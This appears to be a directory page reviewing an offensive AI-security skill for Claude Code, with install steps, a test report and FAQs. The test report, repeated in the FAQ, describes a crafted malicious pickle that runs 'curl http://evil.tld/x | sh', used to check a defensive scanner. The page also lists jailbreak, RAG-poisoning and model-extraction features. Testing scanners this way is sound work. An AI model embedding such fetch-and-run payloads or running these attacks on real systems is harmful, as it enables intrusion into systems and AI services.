Is the AI Security skill free?

Yes. The skill itself is free from hypnguyen1209/offensive-claude. SkillProof publishes the install command and an independent test verdict at no cost.

What is the AI Security SkillProof Score?

9.2/10 — installs cleanly 5/5, triggers reliably 5/5, output vs. baseline 8/10, docs & honesty 5/5.

How do I install AI Security?

Copy the install command from this page, run it in your terminal, and restart Claude Code. Skills live in ~/.claude/skills/ (global) or .claude/skills/ inside a project.

Can I use AI Security with Cursor, Copilot, Gemini CLI, Codex or other AI tools?

The SKILL.md format is native to Claude (Claude Code, Desktop, claude.ai). The instructions inside adapt to other assistants: Cursor rules, GitHub Copilot instructions, Windsurf rules, Custom GPTs, AGENTS.md for OpenAI Codex, and GEMINI.md for Google Gemini CLI — our conversion guides cover each, and the free converter on the tools page does the wrapping for you.

AI Security

Offensive testing of LLM/ML systems: prompt injection, RAG poisoning, pickle-model scanning

by hypnguyen1209 · hypnguyen1209/offensive-claude

Tested · Works

Install — copy the command Download source ↗

Test report

Verdict: Tested · Works
Score: 9.2/10
Tested: Jul 31, 2026
Environment: Claude Code 2.x (agent harness)
Upstream re-checked: Aug 10, 2026 · 35a77c5

Fetched skills/ai-security/SKILL.md and spot-checked 3 bundled files (promptinject_harness.py, rag_poisoner.py, prompt-injection-jailbreak.md) — all HTTP 200. For OUTPUT I ran the skill's stdlib-only scripts/model_scan.py against pickles I crafted: a malicious one with __reduce__ -> os.system("curl http://evil.tld/x | sh"), a benign one, and a benign one whose data merely contained the strings "operating_system"/"subprocess". Baseline (naive byte-grep) flagged the malicious file but also FALSE-POSITIVED the benign label-list file. The skill disassembled pickle opcodes via pickletools, resolved posix.system through REDUCE-reachability as a deny-listed callable (structured JSONL: severity high, CWE-502, AML.T0011, exit code 2 as a CI gate), and correctly cleared both benign files. Verified install into a clean mktemp HOME places SKILL.md at ~/.claude/skills/ai-security/SKILL.md.

Scored on four weighted criteria — install, triggering, output vs. baseline, docs. How scoring works

Installs cleanly 5/5
Triggers reliably 5/5
Output vs. baseline 8/10
Docs & honesty 5/5

What AI Security does

An offensive-security skill for red-teaming AI/ML systems: prompt-injection and multi-turn jailbreak batteries, RAG/vector-DB poisoning, MCP/agent tool-poisoning audits, pre-load pickle-model malware scanning, and black-box model extraction/membership-inference probes, with OWASP LLM Top-10 and MITRE ATLAS mappings. Triggers when a user asks to attack, red-team, or audit an LLM, chatbot, RAG pipeline, MCP server, or a downloaded model artifact. Ships five runnable Python scripts plus five reference deep-dives keyed to specific 2024-2025 CVEs.

How to install AI Security

git clone --depth 1 https://github.com/hypnguyen1209/offensive-claude.git /tmp/ai-security-src
mkdir -p ~/.claude/skills
cp -R /tmp/ai-security-src/skills/ai-security ~/.claude/skills/ai-security
# Verifies at ~/.claude/skills/ai-security/SKILL.md (bundles references/ + scripts/).
# Script deps vary: model_scan.py is stdlib-only; rag_poisoner.py needs sentence-transformers;
#   promptinject_harness.py + model_extractor.py need `pip install requests` and a live target endpoint.
# Repo-level plugin alternative (registers a SessionStart dispatcher hook — not needed for this skill alone):
#   /plugin marketplace add hypnguyen1209/offensive-claude
#   /plugin install offensive-claude@offensive-claude-marketplace
# NOTE: the README also offers `curl -sL .../install.sh | bash` — a curl|sh pipe; the manual cp above avoids it.

Skills live in ~/.claude/skills/ (global) or .claude/skills/ (per-project). Restart Claude Code after installing.

Commands — how to trigger AI Security

/ai-security Offensive testing of LLM/ML systems: prompt injection, RAG poisoning, pickle-model scanning

It also activates on plain-language prompts like these:

Test this model against known jailbreak techniques
Check this RAG pipeline for vector poisoning
Run a model extraction attack against this API

Frequently asked questions

Is the AI Security skill free?: Yes. The skill itself is free from hypnguyen1209/offensive-claude. SkillProof publishes the install command and an independent test verdict at no cost.
Does AI Security work with Claude Code?: We tested it with Claude Code 2.x (agent harness) on Jul 31, 2026. Verdict: Tested · Works. Fetched skills/ai-security/SKILL.md and spot-checked 3 bundled files (promptinject_harness.py, rag_poisoner.py, prompt-injection-jailbreak.md) — all HTTP 200. For OUTPUT I ran the skill's stdlib-only scripts/model_scan.py against pickles I crafted: a malicious one with __reduce__ -> os.system("curl http://evil.tld/x | sh"), a benign one, and a benign one whose data merely contained the strings "operating_system"/"subprocess". Baseline (naive byte-grep) flagged the malicious file but also FALSE-POSITIVED the benign label-list file. The skill disassembled pickle opcodes via pickletools, resolved posix.system through REDUCE-reachability as a deny-listed callable (structured JSONL: severity high, CWE-502, AML.T0011, exit code 2 as a CI gate), and correctly cleared both benign files. Verified install into a clean mktemp HOME places SKILL.md at ~/.claude/skills/ai-security/SKILL.md.
What is the AI Security SkillProof Score?: 9.2/10 — installs cleanly 5/5, triggers reliably 5/5, output vs. baseline 8/10, docs & honesty 5/5.
How do I install AI Security?: Copy the install command from this page, run it in your terminal, and restart Claude Code. Skills live in ~/.claude/skills/ (global) or .claude/skills/ inside a project.
Can I use AI Security with Cursor, Copilot, Gemini CLI, Codex or other AI tools?: The SKILL.md format is native to Claude (Claude Code, Desktop, claude.ai). The instructions inside adapt to other assistants: Cursor rules, GitHub Copilot instructions, Windsurf rules, Custom GPTs, AGENTS.md for OpenAI Codex, and GEMINI.md for Google Gemini CLI — our conversion guides cover each, and the free converter on the tools page does the wrapping for you.